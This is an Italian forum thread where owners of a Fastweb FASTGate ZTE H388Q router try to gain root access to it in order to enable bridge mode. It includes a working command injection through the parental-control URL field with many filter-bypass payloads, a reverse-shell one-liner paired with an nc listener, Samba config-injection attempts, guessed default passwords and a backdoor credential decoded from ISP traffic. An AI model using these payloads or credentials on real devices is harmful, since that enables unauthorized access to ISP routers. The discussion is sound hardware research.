IlPuntoTecnico
Hardware e Software => Connessioni ADSL/VDSL/FTTC => Topic aperto da: fastbridge - 29 Aprile 2020, 16:07
-
Salve, ho l'ultimissimo Modem della Fastweb, il FASTGate ZTE ZXHN H388Q. Avrei bisogno di impostarlo in Full Bridge Mode.
Qui uno scarno manuale utente:
https://www.fastweb.it/myfastweb/gfx/assistenza/kb-sf/Nuova%20Guida%20FASTGate/Quick_Guide_ZXHN_H388Q_Fastweb_V01.pdf
Ho visto su internet pagine come queste:
https://www.hwupgrade.it/forum/showpost.php?p=44258640&postcount=30764
cioè di modem che possono essere impostati in Bridge Mode tramite CLI (Telnet) e mi chiedevo se potesse essere fatto anche su questo modem o anche se esiste un firmware di sblocco che mi aiuti a fare ciò.
Potete aiutarmi? Ne avrei veramente bisogno, grazie.
-
No quelli sono technicolor ed hanno un firmware diverso. Se per il modello che hai tu nessuno ha fornito una guida per sbloccarlo o farne il root allora non puoi metterlo in bridge.
-
Si può almeno sapere che chipset monta il mio modem fastgate?
-
Non finchè qualcuno non lo smonta e guarda cosa c'è dentro
-
Tienilo così, come ti hanno detto. Ora spulcio il web per trovare un firmware
-
Grazie.
-
Ho anch'io il (nuovo?) fastgate ZTE. Noto che l'interfaccia rimane sempre quella ma evidentemente il firmware sottostante no (non funzionano né l'exploit samba ne il tool https://github.com/BoLaMN/tch-exploit (https://github.com/BoLaMN/tch-exploit), che crasha su un messaggio di risposta SOAP (qualcuno sa di cosa si tratta?) ).
A pensarci però è strano che adattino la stessa interfaccia a firmware completamente diversi tra loro piuttosto che adattare sempre lo stesso firmware ad hardware diverso.
-
Non è certo una novità. Sercomm ha adattato la stessa interfaccia che usava sugli AGSOT TIM con firmware originale Sercomm per funzionare sulle Vodafone Station Revolution con firmware OpenRG prodotte sia da lei che da Huawei ed ADB, e infine l'ha implementata anche sulle Vodafone Power Station di sua produzione.
tch-exploit contiene vari strumenti, alcuni funzionano con device anche non tch, ma l'exploit che ne fa il root è scritto in uno script nel formato specifico di tch
SOAP è il middleware per lo scambio di messaggi su cui CWMP è basato. tch-exploit è primariamente un finto server CWMP in grado di fare il push di file, e il file che invia di default è lo script in formato specifico di tch contenente i comandi di root. Se però con lo zte tch-exploit da errore soap allora vuol dire che è riuscito a mettersi in contatto col router, ma la sua finta implementazione non è compatibile.
Se volete cercare di fargli il root non dovete guardare agli altri fastgate, guardate gli altri ZTE.
-
Nmap ci da qualche dritta:
PORT STATE SERVICE VERSION
22/tcp filtered ssh
23/tcp filtered telnet
53/tcp open domain
[b]80/tcp open http ZTE web server 1.0 ZTE corp 2015.[/b]
[b]139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)[/b]
443/tcp open tcpwrapped
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8888/tcp open ssl/http lighttpd 1.4.45
molto interessanti a mio parere smbd (chissà se compatibile con l'exploit dei tch) e il secondo server HTTP su 8888
come OS, nmap suggerisce: OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4)
-
Sarà il solito mischiume di pacchetti
lighttpd 1.4.45 è di default su CC
Se BCM samba 4 sarà insieme al kernel 4.1
Ma quale CPU monta?.
-
Se l'interfaccia fastweb è sempre quella in angularjs e il backend è sempre quello in lua che c'è sui technicolor, e il servizio samba usa lo script init di openwrt è possibile che un approccio simile a quello del dga4131 funzioni anche qui, ma senza controllare prima il contenuto del firmware io non saprei indicare alcuna prova.
-
confermo che l'interfaccia è quella con angular (tutti i file esposti sono uguali a /www/docroot del firmware DGA) e tutte le GET vanno verso status.cgi che risponde in JSON quindi immagino che il backend sia perlomeno simile. per il resto purtroppo non posso confermare nulla perchè non ho il gate fisicamente con me.
Se BCM samba 4 sarà insieme al kernel 4.1
http://certifications.prod.wi-fi.org/pdf/certificate/public/download?cid=WFA91901 (http://certifications.prod.wi-fi.org/pdf/certificate/public/download?cid=WFA91901) qui segnalano un Linux version 4.4
-
Anch'io ho questo router, l'exploit del DGA4131 non funziona, la webgui riporta solo {nvram:ok} o una cosa simile dopo aver ricevuto l'url, e la chiavetta non viene vista dal dispostivo, viene invece vista senza problemi se formattata in FAT32
-
Quindi il backend è diverso, sicuro non può funzionare allora
-
Curiosità,
visto che i FastGate hanno l'accesso Telnet attivato in WAN nelle SUBNET di Fastweb, è possibile sfruttare qualcosa simile a tch-exploit e loggarsi via telnet da pseudo-WAN (Come il technicolor la quarta porta LAN funziona da WAN)?
-
tch-exploit usa cwmp, e quello c'è di sicuro e puoi usarlo tranquillamente. Però se l'implementazione del client CWMP non è fallata come quella di tch da CWMP non hai modo di ottenere accesso come root. Bisogna vedere come è fatto il data-model di ZTE, cosa vi espone in più rispetto allo standard, che formato hanno i vendor config file, se i firimware sono firmati, ecc...
Telnet si può usare, la password credo sia sempre la stessa di sempre ma non è detto che dalla shell di quell'utente si riesca a farne il root, o che quella shell sia utile a qualcosa.
-
Conoscendo subnet e credenziali direi di si; potrebbe essere interessante far passare il link ONT-FASTGate da uno switch con port mirroring, resettare il gate e fare un bel tcpdump, magari le credenziali arrivano tramite cwmp
-
la password credo sia sempre la stessa di sempre
dici che posso trovarla da qualche parte? :)
-
Arrivano tramite cwmp solo nei modelli di cpe che non ce le hanno preconfigurate. Il 4131 le ha preconfigurate, basta che le cerchi nei file del firmware.
Se fail il traffic dump post-reset come hai detto mandamelo in pvt così lo confronto a quello dei tch. Vedrai arrivare impostazioni voip, shaping, wow-fi e forse qualche certificato. Se vedi anche arrivare una rpc cwmp di download per un Vendor config file è una gran cosa, così possiamo vedere in che formato sono e che comandi potremmo impartirgli al di là di quello a cui CWMP ha accesso sul data-model.
-
Impostando il DHCP di tch-exploit con la subnet 59.0.121.0/24 si riesce effettivamente ad accedere alla CLI sia da Telnet che da SSH, sembra che la CLI sia quella default ZTE (Riporta "WELCOME TO THE WORLD OF CLI" che è la stessa cosa che spunta sul ZXHN H108N che si trova facendo alcune ricerche). Nonostante ciò provando varie combinazioni (lanadmin/lanpasswd, FASTGate/Testplant123, root/public, root/root, admin/admin, root/zte) nessuna viene accettata, in più mentre ad esempio sull'H108N riportava BAD USERNAME in caso di username sbagliato qua non riporta niente, solo permesso negato, altro piccolo problema ogni 3 tentativi ti blocca per 60 secondi....
P.S. Purtroppo questo funziona soltanto quando il router non è provvisionato per me, perché avendo adsl dopo il provvisioning non cerca più la wan in lan 4
EDIT: Se qualcuno è interessato ho il firmware in formato .bin
-
Io sono interessato
-
Hai un dm
-
Sono interessato anch'io
-
E' un Mediatek MT7615 o simile, linux 4.4.115
-
Ho notato che collegandolo in cascata al mio DGA4131 in bridge mode il nel router ZTE si configura il WOW-Fi, quindi immagino che gli arrivi la configurazione, a questo punto facendo un traffic dump post-reset è possibile recuperare le credenziali telnet secondo voi?
-
Te lo ripeto, dipende, nei vecchi modelli in cui non erano hardcodate le credenziali per lanadmin così gli arrivavano, ma nei nuovi sono incluse nel firmware. Ad ogni modo fatti comunque un giro in quei messaggi, sono sempre interessanti e potrebbero dirti ben oltre le semplici credenziali.
-
una parte interessante del dialogo cwmp potrebbe essere:
(https://i.imgur.com/yzCPZDc.png)
-
provato a fare un decode base64? vista così mi sembra essere una loro backdoor per accedere all'interfaccia web da quella porta 8443, ovviamente solo da quei range di ip
-
provato a fare un decode base64?
coppia di credenziali fastgate:F@stw3bMI
edit:
@lorenzocanalelc vedi un po' se le suddette valgono anche per il "WORLD OF CLI"
-
No, avevo già provato non portano a niente, ho anche provato altre credenziali di altri ZTE
root:H367N$Extra,Opti0ns1234$%
root:Extra,Opti0ns4321%$
root:ZTE$Extra,Opti0ns1234$%
root:H388Q$Extra,Opti0ns1234$%
zte:zte ma nessuna sembra funzionare, non so neanche se l'username root sia giusto perché non viene restituito nessun messaggio tra username e password (Cosa che succedeva nei modelli vecchi di ZTE dicendo %BAD USERNAME), anche la porta 8443, nonostante sia aperta in quelle subnet non mostra niente, riporta 404, nonostante i file della webgui nudi e crudi siano raggiungibile con i nomi dei file (ex. https://[IPMODEMSULLAWAN]:8443/views/advanced.html riporta effettivamente quella pagina html) non è possibile fare l'accesso via gui... Ipotizzo sia colpa di qualche bug della GUI Fastweb trapiantata su questo firmware. Ho notato anche che abilitando la protezione disco non riesco più ad accedere in quanto le credenziali impostate nella webgui non vengono accettate (ma questo potrebbe anche essere un problema del mio mac)
EDIT: Questo ci potrebbe aiutare? https://www.exploit-db.com/exploits/47654
-
EDIT: Questo ci potrebbe aiutare? https://www.exploit-db.com/exploits/47654
pare di no
avete giocato con il bin del firmware? non riesco a spacchettarlo.. binwalk trova una sezione in LZMA che in effetti contiene roba compressa in LZMA ma l'altra metà non so cosa sia. C'è una netta separazione (..FFFFFFF..) tra le due "parti"
-
Bisogna chiedere a questo tizio https://github.com/anphsw/mkzte
quel tool di per sè non funziona ma secondo me la logica da sotto è simile, provate a contattarlo e fargli vedere il file
-
direi che c'hai preso
typedef struct fw_header {
uint32_t fwmagic[4]; // {0x99999999, 0x44444444, 0x55555555, 0xAAAAAAAA}
.....
char version_descr[24]; // like "THIS IS H118N VERSION", null-terminated
....
(https://i.imgur.com/AaB4E47.png)
edit:
provo a mandagli una mail
-
Potrei aver trovato qualcosa di interessante, ma non so come sfruttare la falla, sul parental control inserendo come url
;reboot il fastgate si riavvia, quindi penso che quel campo sia iniettabile... Ma essendo il formato originale di un link non accetta stringhe con spazi, sono riuscito solo a riavviarlo... Ho pensato di fargli eseguire uno script da chiavetta, ma non riesco a farlo senza usare spazi
-
Non ci riesci ha dargli un comando alla volta?
Inserire in chiavetta un file eseguibile bash.sh contenente:
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP.PC 6666 >/tmp/fo con qualcosa del genere
Mettere nc in ascolto
nc -lvvp 6666
Inserire nel campo
;/percorso/della/chiavetta/bash.sh
-
Tipo?
;echo;reboot Una cosa del genere riavvia ancora il router, ma come faccio a farlo ad esempio sh /mnt/usb1_1/sblocco.sh senza usare spazi?
-
;sh${IFS}/mnt/usb1_1/sblocco.sh
;CMD=$'\x20/mnt/usb1_1/sblocco.sh'&&sh$CMD
-
Niente da fare, questi due comandi non li prende, farà qualche controllo sui caratteri "speciali"
-
Nemmeno il percorso diretto
;/percorso/della/chiavetta/bash.shper essere sicuri
;touch${IFS}/mnt/usb1_1/prova.txt
;CMD=$'\x20/mnt/usb1_1/prova2.txt'&&touch$CMD
-
Questo lo prende ma non succede niente... su sblocco.sh ho messo questo
#!/bin/sh
rebootDovrebbe riavviarsi se lo eseguisse, no?
-
Certo. Prima di inserilo nel router lo hai reso eseguibile chmod +x
-
Si, possibile che il percorso chiavetta sia diverso? io ho provato /mnt/usb1_1 perché sull'argomento mount= della rimozione usb spunta questo percorso, quale altro percorso potrebbe essere?
C'è qualche altro comando che posso provare oltre a reboot? Per essere sicuri che sia un injection e non qualche altra strana cosa
-
prova a fare urlencode del comando, gli spazi sostituisci con %20
-
provo a mandagli una mail
il tizio dice che non sa come trattarlo, l'header dell'h388q contiene 400 byte in più di quella che si aspetta lui
-
prova anche a sostituire ; a && in quello sopra
X=$'echo\x20ciao';$X
-
@FrancYescO Niente da fare, in questo modo non prende più neanche il reboot
prova anche a sostituire ; a && in quello sopra
X=$'echo\x20ciao';$X
Non digerisce questo carattere \
-
/tmp/mnt/usb1_1 da un altro zte
-
sul parental control inserendo come url
per capirci, parliamo della POST verso /status.cgi?service=pc_address_set che parte quando si salvano le modifiche al parental?
-
Esattamente, in particolare il campo
uri=%3BrebootSe prende il comando la pagina ritorna {
"nvset": "ok"
}
EDIT:
Allora, inviando la stringa
;/sbin/rebo*il router si riavvia, quindi la wildcard funziona, può essere utile per trovare il percorso della usb?? Ho creato un link nella usb che punta a /sbin/reboot, in teoria eseguendo quella dovrebbe riavviarsi, no?
-
può essere utile per trovare il percorso della usb?? Ho creato un link nella usb che punta a /sbin/reboot, in teoria eseguendo quella dovrebbe riavviarsi, no?
si direi che puoi usarlo come strumento per bruteforzare il path della chiavetta; essendo sicuri di dove viene montata la chiavetta tutte le prove hanno più senso
-
Ma se invece del ; ci metti qualcosa tipo $(mount) poi non ti ritrovi il suo output visibile come url aggiunto al parental control?
-
Non ho capito cosa intendi, quindi come url do $(mount) e vedo cosa succede?
-
una volta che inserisci i comandi (o insomma l'URL del partental control) questo poi non viene visualizzato sulla GUI del modem?
giusto per capire se riusciamo a leggere i risultati dei comandi o dobbiamo continuare in modalita' blind
dopo aver dato ;$(mount) torna in quella schermata e controlla cosa vedi come URL inserito
-
Senza il ; però
-
io ho appena provato e sono in bootloop ......
-
vuol dire che lo ha davvero salvato
meglio riprovare con qualcosa che dia un output più semplice, tipo $(pwd) o $(whoami)
-
dite che c'è modo di uscire dal bootloop?
-
un reset alle impostazioni di fabbrica riesci a farlo da tastino?
-
nope... mi sa che becca il reboot prima di controllare il tastino
-
mi sa che ti tocca guardare che dice la seriale
-
$(pwd) Rimane così nella GUI, immagino che chi esegua il comando sia il backend del parental control, invece la stringa viene memorizzata come tale. Sono sicuro che i comandi vengano eseguiti perché inserendo
;\*\*\*\*\*\*\*\funziona il router si impalla per un po’ (perché tenta di eseguire il comando)
-
non mi torna, prima dicevi che il backslash non gli piaceva, a questo punto prova con il doppio backslash magari fa qualche sorta di escape
X=$'echo\\x20ciao'&&$X
cmq dato che il reboot lo fa, direi che l'utente che lo esegue ha i permessi adatti.
-
la seriale:
BGA IC
Xtal:1
DDR3 init.
DRAMC init done.
Calculate size.
DRAM size=512MB
Set new TRFC.
ddr-1333
7516DRAMC V1.0 (0)
Press 'x' or 'b' key in 1 secs to enter or skip bootloader upgrade.
EN751627 at Mon Sep 30 14:03:55 CST 2019 version 1.1 free bootbase
Set SPI Clock to 50 Mhz
spi_nand_probe: mfr_id=0x98, dev_id=0xcd
Using Flash ECC.
Detected SPI NAND Flash : _SPI_NAND_DEVICE_ID_TC58CVG2S0H, Flash Size=0x20000000
bmt pool size: 163
BMT & BBT Init Success
board ip address:192.168.1.254
*** Press 1 means entering boot mode***
*** Press 2 means entering testing mode***
*** Press 3 means entering norm mode***
...........................................................
==>xpan...Find DSA
versionStartPhyAddr = 0x1180000, kernel+header=0x3b3709
jffsStartPhyAddr = 0x1540000, jffssize=0xf556e0
Found image header at 0x024c0000
versionStartPhyAddr = 0x4380000, kernel+header=0x3b6796
jffsStartPhyAddr = 0x4740000, jffssize=0xf74010
Found image header at 0x056c0000
version_sum: : 2
version_nummax: : 2
dwCurrVersionIndex: : 1
dwBackVersionIndex: : 0
dwVersionStartPhyAddr 0: 1180000
dwHeadRealPhyAddr 0: 24c0000
dwIsCurrentVersion 0: 0
dwVersionIsBad 0: 0
dwVersionStartPhyAddr: 1: 4380000
dwHeadRealPhyAddr: 1: 56c0000
dwIsCurrentVersion: 1: 1
dwVersionIsBad 1: 0
****Total Img Num: 2, Valid Img Num: 2, Try the 1th(0|1) image...
decompress_addr 4380020 decompress_addr_end 4736796
reset Sw MAC and down phys
Decompress to 80002000 free_mem_ptr=80D00000 free_mem_ptr_end=807B0000
75xx: 0x0
Uncompressing [LZMA] ... done.
purtroppo una volta partito l'os non esce più niente; la boot mode vuole una password:
Entering boot mode ...
******start httpd******
PBUF_POOL_BUFSIZE = 256
tcp_bind()
Local Port = 0
tcp_bind: bind to port 80
### Please input boot password:###
edit:
purtroppo non vedo vie d'uscita dal bootloop
-
quanto tempo ci impiegava il pulsantino a prendere il reset? credo che l'unica speranza sia provarlo a premere in momenti diversi, oppure.. c'è qualche sorta di tftp? magari se gli invii il firmware si resetta anche
-
poco meno di 10 sec ma purtroppo non arriva a beccarlo. il tftp si abilita con la password.....
-
non mi torna, prima dicevi che il backslash non gli piaceva, a questo punto prova con il doppio backslash magari fa qualche sorta di escape
X=$'echo\\x20ciao'&&$X
cmq dato che il reboot lo fa, direi che l'utente che lo esegue ha i permessi adatti.
Hai ragione, ho sbagliato slash perché ho scritto dal telefono, prende / ma non questo \ il comando di prima era con i normali ;/*/*/*/*/*/*/funziona, l’unica cosa devo capire come fargli eseguire qualcosa dalla usb perché non sembra che non lo faccia proprio
-
Hai trovato il percorso della chiavetta? Hai disabilitato samba o qualsiasi cosa che modifica i permessi nel montaggio?
-
io inizierei a provare questi, conta che ho provato su ash e si ferma al primo file (o cartella) che trova se becca errore, quindi assicurati che sulla penna come unico eseguibile ci sia quello (o magari semplicemente non mettere l'asterisco alla fine ma il noem del file) attento anche ai file nascosti
/mnt/*/*
/mnt/usb/*/*
/tmp/mnt/*/*
/tmp/mnt/usb/*/*
/tmp/run/mountd/*/*
-
Hai trovato il percorso della chiavetta? Hai disabilitato samba o qualsiasi cosa che modifica i permessi nel montaggio?
Questa mi mancava... devo disabilitare samba mentre faccio le prove? Ops, allora devo riprovare.
EDIT: Niente da fare, qualsiasi comando che riguardi la chiavetta non sembra dare sortire alcun effetto, ho fatto un symbolic link su / giusto per provare se usb1_1/root/sbin/reboot avesse effetti e non ha nessun effetto. Nel frattempo ho scoperto che se si inserisce ;exit non si riesce più a cancellare e non funziona più neanche ;reboot fino ad un reset...
EDIT2: Se questo non funziona ;/mnt/usb72/../../sbin/reboot ma questo si ;/mnt/usb1_1/../../sbin/reboot Significa che il percorso della chiavetta è /mnt/usb1_1, giusto?
-
Significa che il percorso della chiavetta è /mnt/usb1_1, giusto?
direi che significa che quel path esiste, che poi ci sia montata effettivamente la chiavetta è da vedere
-
semplice, stacca la chiavetta e vedi se funziona lo stesso, ma direi che è il posto giusto
-
Non funziona più, quindi mi sa che il percorso corretto è proprio /mnt/usb1_1, ma non esegue nulla da qua... O almeno non così ;/mnt/usb1_1/test
-
cosa hai messo nel file test? prova a metterci solo reboot e ovviamente assicurati sia eseguibile
con la stessa tecnica prova a mettere il file in una sottocartella e fai cosi per capire se sta leggendo il contenuto o c'è ancora qualche altro livello
;/mnt/usb1_1/cartella/../../../sbin/reboot
-
Yep, funziona, il file di test è
#!/bin/sh
reboot
-
funziona quindi sta leggendo lì?
direi togli anche lo shebang mettici proprio come unico contenuto del file reboot e vedi se ce la fa a riavviarsi
-
Si, il percorso è giusto ma non esegue nulla.
Provato anche questo senza successo. Mi arrendo
-
;sh</mnt/usb1_1/test
;true&&/mnt/usb1_1/test
;$(/mnt/usb1_1/test)
-
;sh</mnt/usb1_1/test Questa non la prende per il <
;true&&/mnt/usb1_1/test
;$(/mnt/usb1_1/test) Questi li prende ma non succede niente
EDIT: Ho capito che il problema è il fatto che la USB è in FAT32, in altri formati non la legge, ecco perché non lo esegue senza il comando sh
-
Così hai già provato?
;/mnt/usb1_1/*/test
-
la pipe | lo prende come carattere?
-
Si, niente da fare.
Non capisco perché inserendo alcune stringhe (tipo questa ;/bin/bash$(IFS)/mnt/usb1_1/test) dopo non riesco più a rimuovere l'url e non funziona più neanche ;reboot fino ad un reset
@FrancYescO Niente pipe. Finora credo di aver capito che non prende: spazi,<,>,\,{,},| e per ora non mi viene in mente altro.
Con questa stringa si è impallato completamente ;sh#/mnt/usb1_1/test
-
con quali altre stringhe ti è capitato? immagino gli fai crashare il processo (e ricrasha ad ogni avvio)
hai provato?
;/bin/sh$IFS/mnt/usb1_1/test
;sh$IFS/mnt/usb1_1/test
-
Si, nessuna delle due ha effetto.
Non ricordo bene forse quelle con le parentesi ()
-
dopo le prove ti sei assicurato ;reboot funzionasse ancora? non vorrei che rimane tipo il processo con una shell appesa e che nella pratica ti invalida le prove fatte prima
nel dubbio prova anche ;ash$IFS/mnt/usb1_1/test
anche se inizio a pensare che lo spazio viene inserito ma per qualche motivo la parte dopo lo spazio totalmente ignorata
-
Anche questo test è andato a vuoto. Secondo me lo spazio non lo prende proprio, considera che comunque quando immetto la stringa questa passa prima per un check e poi in qualche script. Quindi fa 2 passaggi e chi sa cosa succede nel frattempo. E poi senza avere l’output mi sembrano tutte prove inutili, ho provato anche ;sh$IFSreboot e non è successo niente, penso che senza le parentesi graffe IFS sia inutile, e le graffe non le prende. Altra cosa che prende sono gli apici singoli ‘ ma non prende quelli doppi “
-
non che ci vedo grandi vantaggi ma i backtick li prende? ```````
ma domanda stupida, stai bypassando vero qualunque check fatto in javascript? hai provato a fare curl dirette all'endpoint?
c'è qualche altro parametro settabile che poi possiamo richiamare da lì? pensavo ad una cosa tipo $(hostname)
senza nemmeno pipe e parantesi angolari la cosa inizia a farsi troppo complicata
-
Niente backtick,
Comunque I check non sono fatti dalla GUI, ma sotto, ma non so bene come, la richiesta fatta dalla gui contiene i parametri come testo, non come parte dell'url, di solito li edito con un proxy che mi permette di modificare la richiesta. Non so se si capisce meglio ma ecco la schermata del proxy
(https://i.imgur.com/K3bodH4.png)
EDIT: Comunque confermato che ad eseguire il comando è il backend del parental control, perché disattivando la regola prima di salvarla il router non si riavvia.
-
E se ci fosse anche un problema ti PATH?
-
In che senso?
-
Suggerimento fesso: evita di chiamare il file di test "test", non sia mai che qualche prova tipo /…/*/test da esito negativo perchè ti va ad eseguire il comando /usr/bin/test
-
Si ma il problema è fargli eseguire il file, ormai sono sicuro al 100% del percorso dell'eseguibile, il problema è farglielo eseguire. La chiavetta in FAT32 è montata sicuramente senza permessi di esecuzione. Quindi dovrei eseguire sh /mnt/usb1_1/stafunzionando/sblocco.sh ma non posso usare lo spazio...
Sono sicuro del percorso perché questa stringa
;/mnt/usb1_1/stafunzionando/../../../sbin/rebootfunziona quando la usb è collegata, ma smette di funzionare nel momento in cui la tolgo.
Non legge i file systems: ext2,ext3,ext4, Mac OS X (Journaled) e NTFS, legge correttamente FAT32 e exFat
-
/mnt/usb1_1/stafunzionando/./sblocco.sh
-
Prova con un tab al posto dello spazio. Cioè da Charles deve vedere uscire un %09
-
/mnt/usb1_1/stafunzionando/./sblocco.sh
Niente da fare
{
"nvset": "fail"
} il tab non gli piace neanche
Invece ho notato che nvset accetta gli spazi su un altro service "fw_settings", ma immagino che non me ne faccio nulla visto che l'unico che passa i comandi in shell è pc_address_set
-
;IFS=:;a=sh:/mnt/usb1_1/test;$a
-
;IFS=:;a=sh:/mnt/usb1_1/stafunzionando/sblocco.sh;$aIl comando viene memorizzato ma non succede niente, però non può essere rimosso dalla lista, credo di aver capito che non vengono rimossi perché pc_address_del probabilmente non accetta i caratteri che invece pc_address_set prende quindi ritorna nvset:fail
-
e nella lista sul finale vedi $a o il suo valore?
-
;sh</mnt/usb1_1/stafunzionando/sblocco.sh
-
e nella lista sul finale vedi $a o il suo valore?
$a finale.
;sh</mnt/usb1_1/stafunzionando/sblocco.sh
Non sono accettati <,>
-
X=$'sh\x20/mnt/usb1_1/stafunzionando/sblocco.sh'&&$XSi può avere una lista dei caratteri non accettati?
-
Ok, andrò editando questo post:
\,tab(%09),`,|,<,>, (spazio),"
EDIT: Pare che il $ non abbia alcun effetto. Infatti ;a=reboot;$a non fa accadere nulla
-
none.org;IFS=:;a=sleep:10;$a
-
Non so se hai letto ma come dicevo
Pare che il $ non abbia alcun effetto. Infatti ;a=reboot;$a non fa accadere nulla
-
Sì ho letto dopo.
Prova questa, con lo spazio:
none.org;eval reboot
-
I caratteri filtrati credo non arrivano proprio al backend, perché nvset fallisce il check e non li scrive, comunque niente da fare
-
@ilsalvopss Ma quando sei entrato in bootloop hai soltanto scritto $(mount) sugli come url? O glielo hai dato in qualche altra maniera? E per gli altri $(mount) è uguale a $(/bin/mount)?
-
Si è lo stesso, credo che $(mount) lo ha eseguito e scritto in nvram, corrompendola e rendendola impossibile da leggere, un'altra cosa da capire è se si è riavviato subito da solo andando in bootloop o dopo che lo ha riavviato lui
l'unica è riprovare a dare i comandi senza il ; iniziale, perche a questo punto sappiamo che in quel caso il dollaro lo prende ma date le premesse li' il minimo errore rischia di far perdere un'altra cavia (teoricamente il problema non c'è per comandi che non danno output ma chi lo sa...)
-
se proprio volete immolarne un altro provate con comandi che danno un output monoriga, tipo
prova_$(whoami)
-
con pwd cmq non aveva sortito effetti, quindi sono solo i multiriga che rompono https://www.ilpuntotecnico.com/forum/index.php/topic,82941.msg265171.html#msg265171
-
un'altra cosa da capire è se si è riavviato subito da solo andando in bootloop o dopo che lo ha riavviato lui
Ho dato prima il mount e non era successo un granché, perciò ho dato il reboot (per l'eternità ahah). purtroppo mi pare proprio che sulla gui il mount apparisse "non interpretato" ma non posso mettere la mano sul fuoco sull'avere aggiornato la gui cosicché ricaricasse il tutto.
OT: questo è comunque a mio parere un bug bello e buono (immaginate un utente che digita per caso o per sbaglio una stringa di quel tipo) perciò ho chiamato il servizio clienti per segnalare che oltre ad avermi assegnato un profilo sbagliato (cosa che non riescono proprio a sistemare: 20 giorni circa di ticket ancora nulla) ormai "non ho più servizio"
-
Che sia un bug non c'è dubbio, ma diciamo che devi trovare una scusante piu buona del "non volevo che i miei figli si spippolavano sui siti che contenevano $(mount)" per segnalarlo
-
:D :D
secondo me per recuperare il contenuto della nvram dovrebbero faticare non poco; io so solo che la linea che prima era instabile ora non c'è più
-
diciamo che il hopperbacco ieri-funzionava-ora-non-piu' ionon-ho-toccatoneinte è la problematica standard che l'operatore affronta
comunque quel "non interpretato" dove ti era uscito? lo hai dovuto cancellare per poi inserire nella casella il ;reboot che lo ha sterminato?
potete mettere uno screeshot di questa schermata, giusto per capire con cosa stiamo avendo a che fare
-
con "non interpretato" intendevo che appariva così come lo avevo scritto, non eseguito, scusate l'ambiguità
diciamo che il hopperbacco ieri-funzionava-ora-non-piu' ionon-ho-toccatoneinte è la problematica standard che l'operatore affronta
con "affronta" intendi che secondo te fanno problemi per la sostituzione? a me pare difficile che il tecnico che viene a controllare riesca a indagare la causa di una nvram corrotta.. vedremo
-
ah ok.
ma no figurati quanto gliene frega di capire che problema ha quel modem, tralaltro sai quanti modem ho visto sostituire quando non c'entravano un fico secco con il problema, infatti sicuramente scaricheranno la colpa su di lui riguardo la tua linea instabile
-
Ecco le schermate
https://imgur.com/3HXLjyy
https://i.imgur.com/AuFIrWs
Nel caso in cui non si fosse capito si possono mettere tutti i link che si vuole, dovrebbero essere eseguiti tutti, il fatto che il parental control sia attivo o disattivo non cambia un fico secco, invece cambia se la regola specifica è attiva o disattiva
PS non ho ben capito come inserire le immagini per farle visualizzare
-
PS non ho ben capito come inserire le immagini per farle visualizzare
[ img ] url [ / img ] senza spazi
-
Ho provato in quel modo e non me la visualizza più
-
L'URL da utilizzare tra i relativi tag deve essere il link diretto (detto anche hotlink) all'immagine: nel caso di imgur non viene fornito in chiaro ma puoi ottenerlo tramite il comando Copia indirizzo immagine disponibile ad esempio in Firefox all'interno del menu contestuale invocato sull'immagine tramite tasto dx del mouse (sx se sei mancino).
(https://i.postimg.cc/0jKYz4Bq/immagine.png)
-
IFS=:;a=sh:/mnt/usb1_1/stafunzionando/sblocco.sh;$aSenza il ; iniziale
-
L'URL da utilizzare tra i relativi tag deve essere il link diretto (detto anche hotlink) all'immagine: nel caso di imgur non viene fornito in chiaro ma puoi ottenerlo tramite il comando Copia indirizzo immagine disponibile ad esempio in Firefox all'interno del menu contestuale invocato sull'immagine tramite tasto dx del mouse (sx se sei mancino).
Ah ecco mi mancava la parte dell'url, grazie.
@larsen64it
Non va, c'è qualcosa che non funziona con le variabili, infatti ;a=reboot;$a questo comando non fa assolutamente niente :facepalm:
-
Ho isolato il kernel pulito.
(https://i.imgur.com/l3yqGQF.png)
ora si tratta di decompilare il punto in cui monta il rootfs per capire come spacchettarlo
edit: se avete esperienza in questo campo vi giro l'elf
-
@ilsalvopss Io purtroppo non saprei da dove iniziare
Comunque giusto per avere un quadro un po' più completo (anche se ormai ho perso le speranze)
;'reboot'
;true&&reboot
;pippo$;reboot
&&rebootQuesti quattro comandi finiscono tutti con un reboot
&&sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sh Non funziona
&&$IFSreboot Non funziona
&&reboot$IFS Non funzionaQuesti tre vengono salvati ma non fanno assolutamente niente
Provando a cambiare metodo, secondo voi può esserci qualche bin che se eseguito cambi la password di root? Perché alla fine l'accesso a telnet è aperto dalle wan default di Fastweb, ma non ho trovato la password
-
Dai una occhiata a come siano compilate le richieste spedite dal browser per cambiare il nome del workgroup smb
Poi prova a fare le stesse cose dette qui: https://www.ilpuntotecnico.com/forum/index.php/topic,80633.msg251650.html#msg251650
-
Allora, hai ragione, non avevo completamente provato a cambiare la richiesta di samba, perché quando avevo provato non avevo ancora capito come funzionavano le nuove richieste in formato form.
pi@raspberrypi:~ $ smbclient -L //192.168.1.254 -U ciao -N
Unable to initialize messaging context
Sharename Type Comment
--------- ---- -------
samba Disk samba share dir
IPC$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------Questo è il risultato del comando, e non è cambiato durante le tre prove.
In particolare ho provato i seguenti comandi
samba_workgroup=WORKGROUP%5C%09workgroup%20%3D%20BUCATO nvset:fail
samba_workgroup=WORKGROUP%5C%0Aworkgroup%20%3D%20BUCATO nvset:fail
samba_workgroup=WORKGROUP%5Cworkgroup%20%3D%20BUCATO nvset:okQuello con nvset:fail ovviamente non li ha presi, l'altro si.
Il testo completo della richiesta è dlna_enabled=1&printserver_enabled=1&samba_enabled=1&samba_server=FASTGATE&samba_workgroup=WORKGROUP%5Cworkgroup%20%3D%20BUCATO&samba_share_on=lan&disk_protected=0&disk_username=admin&disk_password=&3g_fallback=0&3g_connection_status=0&3g_activation=2&3g_timeout=30&3g_pin=&3g_apn=datacard.fastweb.it&3g_username=&3g_password=&act=nvset&service=usb_status&sessionKey=c9b86e5ac8edb848e03191187930c8173a2eed89d45ae35f2c0d69ef53ddcf08&_=1589889316303
-
riesci a fare in modo che smbclient usi direttamente SMB1 anche per la prima parte della query?
O altrimenti leggere comunque il nuovo nome del workgroup dopo il comando con nvset:ok
Magari con una versione meno ambigua di quel comando
